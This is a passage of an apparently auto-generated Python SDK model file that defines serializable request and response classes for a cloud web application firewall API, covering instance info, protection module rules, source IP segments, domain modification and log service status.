result['PayType'] = self.pay_type if self.in_debt is not None: result['InDebt'] = self.in_debt if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.subscription_type is not None: result['SubscriptionType'] = self.subscription_type if self.trial is not None: result['Trial'] = self.trial return result def from_map(self, m=None): m = m or dict() if m.get('Status') is not None: self.status = m.get('Status') if m.get('EndDate') is not None: self.end_date = m.get('EndDate') if m.get('RemainDay') is not None: self.remain_day = m.get('RemainDay') if m.get('Region') is not None: self.region = m.get('Region') if m.get('PayType') is not None: self.pay_type = m.get('PayType') if m.get('InDebt') is not None: self.in_debt = m.get('InDebt') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('SubscriptionType') is not None: self.subscription_type = m.get('SubscriptionType') if m.get('Trial') is not None: self.trial = m.get('Trial') return self class DescribeInstanceInfosResponseBody(TeaModel): def __init__(self, request_id=None, instance_infos=None): self.request_id = request_id # type: str self.instance_infos = instance_infos # type: list[DescribeInstanceInfosResponseBodyInstanceInfos] def validate(self): if self.instance_infos: for k in self.instance_infos: if k: k.validate() def to_map(self): _map = super(DescribeInstanceInfosResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id result['InstanceInfos'] = [] if self.instance_infos is not None: for k in self.instance_infos: result['InstanceInfos'].append(k.to_map() if k else None) return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') self.instance_infos = [] if m.get('InstanceInfos') is not None: for k in m.get('InstanceInfos'): temp_model = DescribeInstanceInfosResponseBodyInstanceInfos() self.instance_infos.append(temp_model.from_map(k)) return self class DescribeInstanceInfosResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeInstanceInfosResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeInstanceInfosResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeInstanceInfosResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeInstanceSpecInfoRequest(TeaModel): def __init__(self, instance_id=None, resource_group_id=None): self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeInstanceSpecInfoRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos(TeaModel): def __init__(self, value=None, code=None): self.value = value # type: str self.code = code # type: str def validate(self): pass def to_map(self): _map = super(DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos, self).to_map() if _map is not None: return _map result = dict() if self.value is not None: result['Value'] = self.value if self.code is not None: result['Code'] = self.code return result def from_map(self, m=None): m = m or dict() if m.get('Value') is not None: self.value = m.get('Value') if m.get('Code') is not None: self.code = m.get('Code') return self class DescribeInstanceSpecInfoResponseBody(TeaModel): def __init__(self, instance_spec_infos=None, request_id=None, instance_id=None, version=None, expire_time=None): self.instance_spec_infos = instance_spec_infos # type: list[DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos] self.request_id = request_id # type: str self.instance_id = instance_id # type: str self.version = version # type: str self.expire_time = expire_time # type: long def validate(self): if self.instance_spec_infos: for k in self.instance_spec_infos: if k: k.validate() def to_map(self): _map = super(DescribeInstanceSpecInfoResponseBody, self).to_map() if _map is not None: return _map result = dict() result['InstanceSpecInfos'] = [] if self.instance_spec_infos is not None: for k in self.instance_spec_infos: result['InstanceSpecInfos'].append(k.to_map() if k else None) if self.request_id is not None: result['RequestId'] = self.request_id if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.version is not None: result['Version'] = self.version if self.expire_time is not None: result['ExpireTime'] = self.expire_time return result def from_map(self, m=None): m = m or dict() self.instance_spec_infos = [] if m.get('InstanceSpecInfos') is not None: for k in m.get('InstanceSpecInfos'): temp_model = DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos() self.instance_spec_infos.append(temp_model.from_map(k)) if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Version') is not None: self.version = m.get('Version') if m.get('ExpireTime') is not None: self.expire_time = m.get('ExpireTime') return self class DescribeInstanceSpecInfoResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeInstanceSpecInfoResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeInstanceSpecInfoResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeInstanceSpecInfoResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeLogServiceStatusRequest(TeaModel): def __init__(self, instance_id=None, region=None, resource_group_id=None, page_number=None, page_size=None, domain_names=None): self.instance_id = instance_id # type: str self.region = region # type: str self.resource_group_id = resource_group_id # type: str self.page_number = page_number # type: int self.page_size = page_size # type: int self.domain_names = domain_names # type: list[str] def validate(self): pass def to_map(self): _map = super(DescribeLogServiceStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.region is not None: result['Region'] = self.region if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id if self.page_number is not None: result['PageNumber'] = self.page_number if self.page_size is not None: result['PageSize'] = self.page_size if self.domain_names is not None: result['DomainNames'] = self.domain_names return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Region') is not None: self.region = m.get('Region') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') if m.get('PageNumber') is not None: self.page_number = m.get('PageNumber') if m.get('PageSize') is not None: self.page_size = m.get('PageSize') if m.get('DomainNames') is not None: self.domain_names = m.get('DomainNames') return self class DescribeLogServiceStatusResponseBodyDomainStatus(TeaModel): def __init__(self, domain=None, sls_log_active=None): self.domain = domain # type: str self.sls_log_active = sls_log_active # type: int def validate(self): pass def to_map(self): _map = super(DescribeLogServiceStatusResponseBodyDomainStatus, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.sls_log_active is not None: result['SlsLogActive'] = self.sls_log_active return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('SlsLogActive') is not None: self.sls_log_active = m.get('SlsLogActive') return self class DescribeLogServiceStatusResponseBody(TeaModel): def __init__(self, total_count=None, request_id=None, domain_status=None): self.total_count = total_count # type: int self.request_id = request_id # type: str self.domain_status = domain_status # type: list[DescribeLogServiceStatusResponseBodyDomainStatus] def validate(self): if self.domain_status: for k in self.domain_status: if k: k.validate() def to_map(self): _map = super(DescribeLogServiceStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.total_count is not None: result['TotalCount'] = self.total_count if self.request_id is not None: result['RequestId'] = self.request_id result['DomainStatus'] = [] if self.domain_status is not None: for k in self.domain_status: result['DomainStatus'].append(k.to_map() if k else None) return result def from_map(self, m=None): m = m or dict() if m.get('TotalCount') is not None: self.total_count = m.get('TotalCount') if m.get('RequestId') is not None: self.request_id = m.get('RequestId') self.domain_status = [] if m.get('DomainStatus') is not None: for k in m.get('DomainStatus'): temp_model = DescribeLogServiceStatusResponseBodyDomainStatus() self.domain_status.append(temp_model.from_map(k)) return self class DescribeLogServiceStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeLogServiceStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeLogServiceStatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeLogServiceStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeProtectionModuleCodeConfigRequest(TeaModel): def __init__(self, source_ip=None, lang=None, code_type=None, code_value=None, instance_id=None, resource_group_id=None): self.source_ip = source_ip # type: str self.lang = lang # type: str self.code_type = code_type # type: int self.code_value = code_value # type: int self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleCodeConfigRequest, self).to_map() if _map is not None: return _map result = dict() if self.source_ip is not None: result['SourceIp'] = self.source_ip if self.lang is not None: result['Lang'] = self.lang if self.code_type is not None: result['CodeType'] = self.code_type if self.code_value is not None: result['CodeValue'] = self.code_value if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('SourceIp') is not None: self.source_ip = m.get('SourceIp') if m.get('Lang') is not None: self.lang = m.get('Lang') if m.get('CodeType') is not None: self.code_type = m.get('CodeType') if m.get('CodeValue') is not None: self.code_value = m.get('CodeValue') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeProtectionModuleCodeConfigResponseBody(TeaModel): def __init__(self, request_id=None, code_configs=None): self.request_id = request_id # type: str self.code_configs = code_configs # type: str def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleCodeConfigResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.code_configs is not None: result['CodeConfigs'] = self.code_configs return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('CodeConfigs') is not None: self.code_configs = m.get('CodeConfigs') return self class DescribeProtectionModuleCodeConfigResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeProtectionModuleCodeConfigResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeProtectionModuleCodeConfigResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeProtectionModuleCodeConfigResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeProtectionModuleModeRequest(TeaModel): def __init__(self, domain=None, defense_type=None, instance_id=None, resource_group_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleModeRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeProtectionModuleModeResponseBody(TeaModel): def __init__(self, learn_status=None, request_id=None, mode=None): self.learn_status = learn_status # type: int self.request_id = request_id # type: str self.mode = mode # type: int def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleModeResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.learn_status is not None: result['LearnStatus'] = self.learn_status if self.request_id is not None: result['RequestId'] = self.request_id if self.mode is not None: result['Mode'] = self.mode return result def from_map(self, m=None): m = m or dict() if m.get('LearnStatus') is not None: self.learn_status = m.get('LearnStatus') if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('Mode') is not None: self.mode = m.get('Mode') return self class DescribeProtectionModuleModeResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeProtectionModuleModeResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeProtectionModuleModeResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeProtectionModuleModeResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeProtectionModuleRulesRequest(TeaModel): def __init__(self, page_size=None, page_number=None, domain=None, defense_type=None, query=None, lang=None, instance_id=None, resource_group_id=None): self.page_size = page_size # type: int self.page_number = page_number # type: int self.domain = domain # type: str self.defense_type = defense_type # type: str self.query = query # type: str self.lang = lang # type: str self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleRulesRequest, self).to_map() if _map is not None: return _map result = dict() if self.page_size is not None: result['PageSize'] = self.page_size if self.page_number is not None: result['PageNumber'] = self.page_number if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.query is not None: result['Query'] = self.query if self.lang is not None: result['Lang'] = self.lang if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('PageSize') is not None: self.page_size = m.get('PageSize') if m.get('PageNumber') is not None: self.page_number = m.get('PageNumber') if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('Query') is not None: self.query = m.get('Query') if m.get('Lang') is not None: self.lang = m.get('Lang') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeProtectionModuleRulesResponseBodyRules(TeaModel): def __init__(self, status=None, time=None, version=None, content=None, rule_id=None): self.status = status # type: long self.time = time # type: long self.version = version # type: long self.content = content # type: dict[str, any] self.rule_id = rule_id # type: long def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleRulesResponseBodyRules, self).to_map() if _map is not None: return _map result = dict() if self.status is not None: result['Status'] = self.status if self.time is not None: result['Time'] = self.time if self.version is not None: result['Version'] = self.version if self.content is not None: result['Content'] = self.content if self.rule_id is not None: result['RuleId'] = self.rule_id return result def from_map(self, m=None): m = m or dict() if m.get('Status') is not None: self.status = m.get('Status') if m.get('Time') is not None: self.time = m.get('Time') if m.get('Version') is not None: self.version = m.get('Version') if m.get('Content') is not None: self.content = m.get('Content') if m.get('RuleId') is not None: self.rule_id = m.get('RuleId') return self class DescribeProtectionModuleRulesResponseBody(TeaModel): def __init__(self, total_count=None, request_id=None, rules=None): self.total_count = total_count # type: int self.request_id = request_id # type: str self.rules = rules # type: list[DescribeProtectionModuleRulesResponseBodyRules] def validate(self): if self.rules: for k in self.rules: if k: k.validate() def to_map(self): _map = super(DescribeProtectionModuleRulesResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.total_count is not None: result['TotalCount'] = self.total_count if self.request_id is not None: result['RequestId'] = self.request_id result['Rules'] = [] if self.rules is not None: for k in self.rules: result['Rules'].append(k.to_map() if k else None) return result def from_map(self, m=None): m = m or dict() if m.get('TotalCount') is not None: self.total_count = m.get('TotalCount') if m.get('RequestId') is not None: self.request_id = m.get('RequestId') self.rules = [] if m.get('Rules') is not None: for k in m.get('Rules'): temp_model = DescribeProtectionModuleRulesResponseBodyRules() self.rules.append(temp_model.from_map(k)) return self class DescribeProtectionModuleRulesResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeProtectionModuleRulesResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeProtectionModuleRulesResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeProtectionModuleRulesResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeProtectionModuleStatusRequest(TeaModel): def __init__(self, domain=None, defense_type=None, instance_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class DescribeProtectionModuleStatusResponseBody(TeaModel): def __init__(self, request_id=None, module_status=None): self.request_id = request_id # type: str self.module_status = module_status # type: int def validate(self): pass def to_map(self): _map = super(DescribeProtectionModuleStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.module_status is not None: result['ModuleStatus'] = self.module_status return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('ModuleStatus') is not None: self.module_status = m.get('ModuleStatus') return self class DescribeProtectionModuleStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeProtectionModuleStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeProtectionModuleStatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeProtectionModuleStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeWafSourceIpSegmentRequest(TeaModel): def __init__(self, instance_id=None, resource_group_id=None): self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeWafSourceIpSegmentRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeWafSourceIpSegmentResponseBody(TeaModel): def __init__(self, request_id=None, ip_v6s=None, ips=None): self.request_id = request_id # type: str self.ip_v6s = ip_v6s # type: str self.ips = ips # type: str def validate(self): pass def to_map(self): _map = super(DescribeWafSourceIpSegmentResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.ip_v6s is not None: result['IpV6s'] = self.ip_v6s if self.ips is not None: result['Ips'] = self.ips return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('IpV6s') is not None: self.ip_v6s = m.get('IpV6s') if m.get('Ips') is not None: self.ips = m.get('Ips') return self class DescribeWafSourceIpSegmentResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeWafSourceIpSegmentResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeWafSourceIpSegmentResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeWafSourceIpSegmentResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyDomainRequest(TeaModel): def __init__(self, instance_id=None, domain=None, source_ips=None, load_balancing=None, http_port=None, https_port=None, http_2port=None, https_redirect=None, http_to_user_ip=None, is_access_product=None, log_headers=None, cluster_type=None, connection_time=None, read_time=None, write_time=None, access_type=None, cloud_native_instances=None, ip_follow_status=None): self.instance_id = instance_id # type: str self.domain = domain # type: str self.source_ips = source_ips # type: str self.load_balancing = load_balancing # type: int self.http_port = http_port # type: str self.https_port = https_port # type: str self.http_2port = http_2port # type: str self.https_redirect = https_redirect # type: int self.http_to_user_ip = http_to_user_ip # type: int self.is_access_product = is_access_product # type: int self.log_headers = log_headers # type: str self.cluster_type = cluster_type # type: int self.connection_time = connection_time # type: int self.read_time = read_time # type: int self.write_time = write_time # type: int self.access_type = access_type # type: str self.cloud_native_instances = cloud_native_instances # type: str self.ip_follow_status = ip_follow_status # type: int def validate(self): pass def to_map(self): _map = super(ModifyDomainRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain if self.source_ips is not None: result['SourceIps'] = self.source_ips if self.load_balancing is not None: result['LoadBalancing'] = self.load_balancing if self.http_port is not None: result['HttpPort'] = self.http_port if self.https_port is not None: result['HttpsPort'] = self.https_port if self.http_2port is not None: result['Http2Port'] = self.http_2port if self.https_redirect is not None: result['HttpsRedirect'] = self.https_redirect if self.http_to_user_ip is not None: result['HttpToUserIp'] = self.http_to_user_ip if self.is_access_product is not None: result['IsAccessProduct'] = self.is_access_product if self.log_headers is not None: result['LogHeaders'] = self.log_headers if self.cluster_type is not None: result['ClusterType'] = self.cluster_type if self.connection_time is not None: result['ConnectionTime'] = self.connection_time if self.read_time is not None: result['ReadTime'] = self.read_time if self.write_time is not None: result['WriteTime'] = self.write_time if self.access_type is not None: result['AccessType'] = self.access_type if self.cloud_native_instances is not None: result['CloudNativeInstances'] = self.cloud_native_instances if self.ip_follow_status is not None: result['IpFollowStatus'] = self.ip_follow_status return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('SourceIps') is not None: self.source_ips = m.get('SourceIps') if m.get('LoadBalancing') is not None: self.load_balancing = m.get('LoadBalancing') if m.get('HttpPort') is not None: self.http_port = m.get('HttpPort') if m.get('HttpsPort') is not None: self.https_port = m.get('HttpsPort') if m.get('Http2Port') is not None: self.http_2port = m.get('Http2Port') if m.get('HttpsRedirect') is not None: self.https_redirect = m.get('HttpsRedirect') if m.get('HttpToUserIp') is not None: self.http_to_user_ip = m.get('HttpToUserIp') if m.get('IsAccessProduct') is not None: self.is_access_product = m.get('IsAccessProduct') if m.get('LogHeaders') is not None: self.log_headers = m.get('LogHeaders') if m.get('ClusterType') is not None: self.cluster_type = m.get('ClusterType') if m.get('ConnectionTime') is not None: self.connection_time = m.get('ConnectionTime') if m.get('ReadTime') is not None: self.read_time = m.get('ReadTime') if m.get('WriteTime') is not None: self.write_time = m.get('WriteTime') if m.get('AccessType') is not None: self.access_type = m.get('AccessType') if m.get('CloudNativeInstances') is not None: self.cloud_native_instances = m.get('CloudNativeInstances') if m.get('IpFollowStatus') is not None: self.ip_follow_status = m.get('IpFollowStatus') return self class ModifyDomainResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyDomainResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyDomainResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyDomainResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyDomainResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyDomainResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyDomainIpv6StatusRequest(TeaModel): def __init__(self, instance_id=None, domain=None, enabled=None): self.instance_id = instance_id # type: str self.domain = domain # type: str self.enabled = enabled # type: str def validate(self): pass def to_map(self): _map = super(ModifyDomainIpv6StatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain if self.enabled is not None: result['Enabled'] = self.enabled return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('Enabled') is not None: self.enabled = m.get('Enabled') return self class ModifyDomainIpv6StatusResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyDomainIpv6StatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyDomainIpv6StatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyDomainIpv6StatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyDomainIpv6StatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyDomainIpv6StatusResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyLogRetrievalStatusRequest(TeaModel): def __init__(self, instance_id=None, domain=None, enabled=None): self.instance_id = instance_id # type: str self.domain = domain # type: str self.enabled = enabled # type: int def validate(self): pass def to_map(self): _map = super(ModifyLogRetrievalStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain if self.enabled is not None: result['Enabled'] = self.enabled return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('Enabled') is not None: self.enabled = m.get('Enabled') return self class ModifyLogRetrievalStatusResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyLogRetrievalStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyLogRetrievalStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyLogRetrievalStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyLogRetrievalStatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyLogRetrievalStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyLogServiceStatusRequest(TeaModel): def __init__(self, instance_id=None, domain=None, enabled=None): self.instance_id = instance_id # type: str self.domain = domain # type: str self.enabled = enabled # type: int def validate(self): pass def to_map(self): _map = super(ModifyLogServiceStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain if self.enabled is not None: result['Enabled'] = self.enabled return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('Enabled') is not None: self.enabled = m.get('Enabled') return self class ModifyLogServiceStatusResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyLogServiceStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyLogServiceStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyLogServiceStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyLogServiceStatusResponse, self).to_map() if _map is 